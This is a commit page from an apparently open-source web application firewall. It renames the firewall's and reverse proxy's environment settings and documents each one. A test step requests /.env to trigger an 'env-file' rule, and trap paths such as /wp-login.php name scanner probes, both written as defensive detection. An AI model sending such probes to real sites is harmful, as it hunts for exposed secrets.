Author SHA1 Message Date
sneak c6ab946c86 Read every setting through viper and rename the settings (closes #211)
check / check (push) Waiting to run
Every setting of waf and rproxy is read through viper, in place of the
os.LookupEnv function Main passed down. NewViper turns AutomaticEnv and
AllowEmptyEnv on, so a setting that is set but empty reads as set. A
setting may also be given as a file, the _FILE form, which rproxy's
settings now have too; rproxy still writes nothing to disk.

The settings are renamed: waf's take the prefix SWW_WAF_, rproxy's take
SWW_RPROXY_, and the shared SWW_COMMAND keeps SWW_. The Core Rule Set's
settings take SWW_WAF_CORE_RULE_SET_ rather than SWW_WAF_WAF_.

Model: deepseek-v4-pro (first version); opus-5-5 (rework)
2026-11-11 11:18:21 +00:00
154 changed files with 6867 additions and 14001 deletions

No files matched your search

+1 -1
View File
@@ -30,7 +30,7 @@ These are the rules for agents working on this repository.
- Secrets belong in POST data. An app that puts a secret in a query string - Secrets belong in POST data. An app that puts a secret in a query string
is fixed in the app. is fixed in the app.
- Never propose redacting a query string, Gitea's `?token=` included. - Never propose redacting a query string, Gitea's `?token=` included.
- The default of `SWRP_TRUSTED_PROXIES` is the RFC 1918 set. - The default of `SWW_RPROXY_TRUSTED_PROXIES` is the RFC 1918 set.
- The set is: - The set is:
- `10.0.0.0/8`; - `10.0.0.0/8`;
- `172.16.0.0/12`; - `172.16.0.0/12`;
+3 -3
View File
@@ -221,12 +221,12 @@ RUN groupadd --system --gid 65532 sww \
--gid sww --no-create-home --shell /usr/sbin/nologin \ --gid sww --no-create-home --shell /usr/sbin/nologin \
sww sww
# The state files' directory, SWW_STATE_DIR by default, where a volume # The state files' directory, SWW_WAF_STATE_DIR by default, where a volume
# is mounted to keep them across deploys. At each start of waf, the run # is mounted to keep them across deploys. At each start of waf, the run
# script makes SWW_STATE_DIR if it is missing and gives it to the sww user. # script makes SWW_WAF_STATE_DIR if it is missing and gives it to the sww user.
RUN mkdir /var/lib/sww RUN mkdir /var/lib/sww
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile # The default rule file, in SWW_WAF_RULES_DIR by default, where a Dockerfile
# built FROM this image can copy rule files of its own beside it. # built FROM this image can copy rule files of its own beside it.
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
+203 -204
View File
@@ -12,7 +12,8 @@ shipped in one image, with two commands that do this together:
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to - `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
it. It asks `waf` about each request, passes the allowed ones to the app, and it. It asks `waf` about each request, passes the allowed ones to the app, and
passes the app's answers back. It keeps nothing and never touches disk. passes the app's answers back. It keeps nothing between requests and writes
nothing to disk.
- `sww waf` decides. It runs the checks and keeps the bans, the counters and - `sww waf` decides. It runs the checks and keeps the bans, the counters and
each client's history. One `waf` serves many sites: a client banned through each client's history. One `waf` serves many sites: a client banned through
one site is refused on all of them, and its requests on all of them count one site is refused on all of them, and its requests on all of them count
@@ -90,8 +91,9 @@ accepts connections, whether or not `waf` answers; in `waf`'s container, once
The usual setup is three containers on one private network: The usual setup is three containers on one private network:
- the app; - the app;
- `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND` - `rproxy`, in front of the app, which traefik routes to:
names `waf` and `SWRP_UPSTREAM_URL` names the app; `SWW_RPROXY_WAF_BACKEND` names `waf` and `SWW_RPROXY_UPSTREAM_URL` names the
app;
- `waf`, with `SWW_COMMAND=waf` and a volume at `/var/lib/sww` for its state - `waf`, with `SWW_COMMAND=waf` and a volume at `/var/lib/sww` for its state
files. files.
@@ -100,8 +102,8 @@ Point traefik's labels at port 8080 of `rproxy`
of the app or of `waf`. Anything on that network can reach the app around of the app or of `waf`. Anything on that network can reach the app around
`rproxy`, and can ask `waf` questions, so the network holds only what you trust. `rproxy`, and can ask `waf` questions, so the network holds only what you trust.
Each further app adds its own container and its own `rproxy`, whose Each further app adds its own container and its own `rproxy`, whose
`SWRP_WAF_BACKEND` names the same `waf`. The "Smallest setup" example below `SWW_RPROXY_WAF_BACKEND` names the same `waf`. The "Smallest setup" example
shows this shape. below shows this shape.
### `rproxy` in the app's container ### `rproxy` in the app's container
@@ -114,7 +116,7 @@ digest, and adds:
- the packages the app needs, from the nixpkgs in the image; - the packages the app needs, from the nixpkgs in the image;
- a user for the app; - a user for the app;
- a `run` script that starts the app listening on `127.0.0.1:8081`, the default - a `run` script that starts the app listening on `127.0.0.1:8081`, the default
of `SWRP_UPSTREAM_URL`. of `SWW_RPROXY_UPSTREAM_URL`.
```dockerfile ```dockerfile
# The smallwebwaf image, pinned by digest. # The smallwebwaf image, pinned by digest.
@@ -150,8 +152,8 @@ main "$@"
Leave `ENTRYPOINT` and `USER` out of the app's `Dockerfile`. The image's own Leave `ENTRYPOINT` and `USER` out of the app's `Dockerfile`. The image's own
entrypoint starts `rproxy` and the app side by side, each as its own user. Run entrypoint starts `rproxy` and the app side by side, each as its own user. Run
the app's image with `SWRP_WAF_BACKEND` set. `deploy/example-app` is such an the app's image with `SWW_RPROXY_WAF_BACKEND` set. `deploy/example-app` is such
app, and the "`rproxy` beside the app" example below runs one. an app, and the "`rproxy` beside the app" example below runs one.
The app sees the headers traefik sent, with traefik's address added to The app sees the headers traefik sent, with traefik's address added to
`X-Forwarded-For`, from a TCP peer that is `rproxy`. So the app must trust `X-Forwarded-For`, from a TCP peer that is `rproxy`. So the app must trust
@@ -170,12 +172,13 @@ does.
- A request to the site through traefik gets the app's answer. - A request to the site through traefik gets the app's answer.
`https://<site>/_sww/healthz` answers `ok`. `waf`'s log lines about the `https://<site>/_sww/healthz` answers `ok`. `waf`'s log lines about the
request have `"action":"forward"`. request have `"action":"forward"`.
- To see a refusal without banning yourself, run `waf` with `SWW_MODE=observe` - To see a refusal without banning yourself, run `waf` with
and ask for `/.env`. The request reaches the app. `waf`'s log lines have `SWW_WAF_MODE=observe` and ask for `/.env`. The request reaches the app.
`"would_action":"temporarily_banned"` and `"rule_ids":["env-file"]`. A ban you `waf`'s log lines have `"would_action":"temporarily_banned"` and
get in `enforce` mode is lifted as "Clients and bans" below describes. `"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as
- With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on "Clients and bans" below describes.
`waf`'s network: - With `SWW_WAF_METRICS_TOKEN` set, this answers with the metrics, from a host
on `waf`'s network:
`curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/metrics`. `curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/metrics`.
- `make example-app` builds the image and an app on it, runs them, and checks - `make example-app` builds the image and an app on it, runs them, and checks
the whole exchange (see "Entrypoints"). the whole exchange (see "Entrypoints").
@@ -183,18 +186,17 @@ does.
## Configuration ## Configuration
Every setting is an environment variable, read once at start; changing one means Every setting is an environment variable, read once at start; changing one means
restarting the container. `rproxy` reads only the `SWRP_` settings, and `waf` restarting the container. `rproxy` reads only the `SWW_RPROXY_` settings, and
only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a default, chosen `waf` only the `SWW_WAF_` ones. Every setting but `SWW_RPROXY_WAF_BACKEND` has a
for a service on the open internet. A setting that needs an account, a key, a default, chosen for a service on the open internet. A setting that needs an
token or an alert destination stays off until you give one. account, a key, a token or an alert destination stays off until you give one.
- Any `SWW_` setting can be given as a file instead, for secrets and long lists: - Any `SWW_WAF_` or `SWW_RPROXY_` setting can be given as a file instead, for
`SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's secrets and long lists: `SWW_WAF_ADMIN_TOKEN_FILE` names the file that holds
contents are the value, less one newline at the end. Setting both forms stops `SWW_WAF_ADMIN_TOKEN`. The file's contents are the value, less one newline at
the start. `SWW_LOG_REMOTE_TLS_CA_FILE` and the end. Setting both forms stops the start. `SWW_WAF_LOG_REMOTE_TLS_CA_FILE`
`SWW_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have no and `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have
`_FILE` form. `SWW_COMMAND` cannot be given as a file. No `SWRP_` setting has no `_FILE` form. `SWW_COMMAND` cannot be given as a file.
one, since `rproxy` never touches disk.
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. - A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`.
- A size is a number of bytes with an optional `K`, `M` or `G`, in powers of - A size is a number of bytes with an optional `K`, `M` or `G`, in powers of
1024: `512K`, `100M`, `5G`. 1024: `512K`, `100M`, `5G`.
@@ -210,132 +212,133 @@ token or an alert destination stays off until you give one.
setting takes it. setting takes it.
- The byte limits and the byte anomaly thresholds count only body bytes: the - The byte limits and the byte anomaly thresholds count only body bytes: the
app's response bodies, the visitors' request bodies, or both, as app's response bodies, the visitors' request bodies, or both, as
`SWW_BYTES_COUNT` says. Headers are never counted. What the visitor sent over `SWW_WAF_BYTES_COUNT` says. Headers are never counted. What the visitor sent
a WebSocket counts as request bytes, and what the app sent as response bytes. over a WebSocket counts as request bytes, and what the app sent as response
bytes.
- An invalid setting stops the process at start with one log line naming the - An invalid setting stops the process at start with one log line naming the
variable and what is wrong with the value. The settings in effect are logged variable and what is wrong with the value. The settings in effect are logged
on one line at start, with tokens, keys and webhook paths shown as `********`. on one line at start, with tokens, keys and webhook paths shown as `********`.
Every setting the code reads, with its default: Every setting the code reads, with its default:
| Variable | Default | What it does | | Variable | Default | What it does |
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | -------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. | | `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
| `SWRP_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. | | `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. | | `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. | | `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. | | `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. | | `SWW_RPROXY_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. | | `SWW_RPROXY_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. | | `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. | | `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. | | `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. | | `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
| `SWW_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. | | `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. | | `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. | | `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. | | `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. | | `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
| `SWW_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. | | `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. | | `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. | | `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. | | `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
| `SWW_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. | | `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
| `SWW_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. | | `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
| `SWW_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. | | `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
| `SWW_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. | | `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
| `SWW_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | | `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | | `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | | `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. | | `SWW_WAF_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
| `SWW_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. | | `SWW_WAF_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
| `SWW_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. | | `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
| `SWW_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. | | `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
| `SWW_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. | | `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
| `SWW_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. | | `SWW_WAF_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
| `SWW_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. | | `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
| `SWW_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. | | `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
| `SWW_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. | | `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
| `SWW_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. | | `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
| `SWW_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. | | `SWW_WAF_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
| `SWW_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. | | `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
| `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. | | `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
| `SWW_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. | | `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
| `SWW_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. | | `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
| `SWW_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. | | `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
| `SWW_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. | | `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
| `SWW_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. | | `SWW_WAF_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
| `SWW_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. | | `SWW_WAF_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
| `SWW_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. | | `SWW_WAF_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
| `SWW_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_TAG_LIMIT_PERCENT` (the lowest wins). | | `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
| `SWW_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. | | `SWW_WAF_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
| `SWW_RULES_ENABLED` | `true` | `false` reads no rule file. | | `SWW_WAF_RULES_ENABLED` | `true` | `false` reads no rule file. |
| `SWW_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. | | `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
| `SWW_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. | | `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
| `SWW_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. | | `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
| `SWW_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. | | `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
| `SWW_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. | | `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | | `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. | | `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. | | `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | | `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. | | `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. | | `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
| `SWW_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. | | `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
| `SWW_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. | | `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
| `SWW_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. | | `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
| `SWW_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. | | `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
| `SWW_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. | | `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
| `SWW_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. | | `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
| `SWW_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. | | `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
| `SWW_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. | | `SWW_WAF_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
| `SWW_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. | | `SWW_WAF_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. | | `SWW_WAF_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. | | `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. | | `SWW_WAF_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state and cache file is written. | | `SWW_WAF_STATE_COUNTER_INTERVAL` | `15m` | How often every state and cache file is written. |
| `SWW_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. | | `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
| `SWW_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. | | `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
